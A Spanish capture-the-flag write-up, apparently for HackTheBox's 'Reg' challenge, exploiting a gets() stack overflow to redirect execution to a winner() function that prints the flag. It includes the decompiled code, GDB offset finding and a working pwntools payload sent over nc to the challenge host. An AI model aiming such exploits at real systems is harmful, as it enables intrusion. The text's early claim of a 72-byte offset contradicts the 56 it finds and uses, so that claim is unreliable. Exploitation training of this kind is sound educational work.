Reg
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado reg
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Podemos utilizar Ghidra para analizar el binario y mirar el código fuente en C descompilado. Esta es la función main
:
int main() {
run();
return 0;
}
Vamos a ver run
:
void run() {
char local_38[48];
initialize();
printf("Enter your name : ");
gets(local_38);
puts("Registered!");
return;
}
El binario es vulnerable a Buffer Overflow porque la variable llamada local_38
tiene 48 bytes asignados como buffer, pero el programa está usando gets
, que es una función insegura ya que no limita la longitud de los datos de entrada, desbordando el buffer reservado si el tamaño de los datos de entrada es mayor que 48 bytes.
Podemos verificar que el programa se rompe en esta situación:
$ ./reg
Enter your name : asdf
Registered!
$ python3 -c 'print("A" * 100)' | ./reg
Enter your name : Registered!
zsh: done python3 -c 'print("A" * 100)' |
zsh: segmentation fault (core dumped) ./reg
El programa se rompe porque hemos sobrescrito la dirección de retorno guardada y cuando el programa intenta retornar, se encuentra con una dirección de memoria inválida.
Debido a que tenemos un binario de 64 bits sin canario, el offset necesario para desbordar el buffer y llegar a la pila (stack) es 72 (ya que después de los 64 bytes reservados se encuentra el valor de $rbp
guardado y justo después la dirección de retorno).
De todas formas, podemos usar un patrón con GDB para encontrar el offset:
$ gdb -q reg
Reading symbols from reg...
(No debugging symbols found in reg)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./reg
Enter your name : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Registered!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 56 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Mirando de nuevo al código descompilado, vemos que hay una función llamada winner
:
void winner() {
char local_418[1032];
FILE *local_10;
puts("Congratulations!");
local_10 = fopen("flag.txt", "r");
fgets(local_418, 0x400, local_10);
puts(local_418);
fclose(local_10);
return;
}
Esta función abre flag.txt
y muestra el contenido.
La dirección de esta función es fija porque el binario no tiene protección PIE, y podemos verla con GDB, readelf
y objdump
:
gef➤ p winner
$1 = {<text variable, no debug info>} 0x401206 <winner>
gef➤ quit
$ readelf -s reg | grep winner
75: 0000000000401206 100 FUNC GLOBAL DEFAULT 13 winner
$ objdump -d reg | grep winner
0000000000401206 <winner>:
Entonces, la idea es explotar la vulnerabilidad de Buffer Overflow y modificar la dirección de retorno guardada de forma que llamemos a winner
y leamos la flag. Vamos a probar en local:
$ echo 'HTB{f4k3_fl4g_f0r_t3st1ng}' > flag.txt
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 56 + p64(0x401206) + b"\n")' | ./reg
Enter your name : Registered!
Congratulations!
HTB{f4k3_fl4g_f0r_t3st1ng}
zsh: done python3 -c |
zsh: segmentation fault (core dumped) ./reg
Nótese que tenemos que añadir un carácter de salto de línes al final porque gets
espera este carácter para parar de leer.
Genial, vamos a probar contra la instancia remota:
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 56 + p64(0x401206) + b"\n")' | nc 178.62.39.153 30785
Enter your name : Registered!
Congratulations!
HTB{N3W_70_pWn}